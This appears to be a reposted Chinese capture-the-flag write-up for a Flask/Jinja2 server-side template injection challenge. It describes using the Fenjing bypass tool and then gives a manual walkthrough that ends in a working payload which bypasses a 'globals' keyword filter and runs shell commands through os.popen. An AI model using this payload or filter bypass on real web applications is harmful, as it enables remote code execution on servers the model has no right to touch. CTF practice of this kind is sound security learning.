当前位置:   article > 正文

[CSCCTF 2019 Qual]FlaskLight (jinja2模版注入)_jinja2模板注入

jinja2模板注入

两种方法:

1.工具法

进来看见flask到处飘,估计就是ssti

ctrl+U打开发现两行注释提示GET方式传递参数search

这种有参数的我先直接丢fengjing扫了一下,结果还真搞出来,这工具还是挺牛的,就是没参数的时候搞不了

fengjing安装:项目地址:

Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF (github.com)

下载好后安装requirements.txt,先cd到项目目录下

pip install -r requirements.txt -i https://pypi.mirrors.ustc.edu.cn/simple/

python -m fenjing webui

进入web界面输入前三个参数,表单输入就是刚才的search参数

最后下滑点击开始分析

分析完后右边会提示你输入可以输入命令自动生成payload

最终查看flag命令

cat /flasklight/coomme_geeeett_youur_flek

2.手工ssti

先判断是什么模版引擎,jinja还是twig

下面是判断模版注入的方法

输入{{7*‘7’}},返回49表示是 Twig 模块

输入{{7*‘7’}},返回7777777表示是 Jinjia2 模块

返回7777777表示是 Jinjia2 模块

输入{{config}}查看配置发现提示flag就在当前目录下

经过尝试发现是过滤了globals导致500状态码,使用字典访问符号['__g''lobals__']来绕过.运算符

或者中间加个+号也可以['__glo'+'bals__']

最终payload:(popen里面可以改变命令自己看看目录)

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo''bals__']['__builtins__']['eval']("__import__('os').popen('head /flasklight/coomme_geeeett_youur_flek').read()")}}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/人工智能uu/article/detail/963752
推荐阅读
相关标签
  

闽ICP备14008679号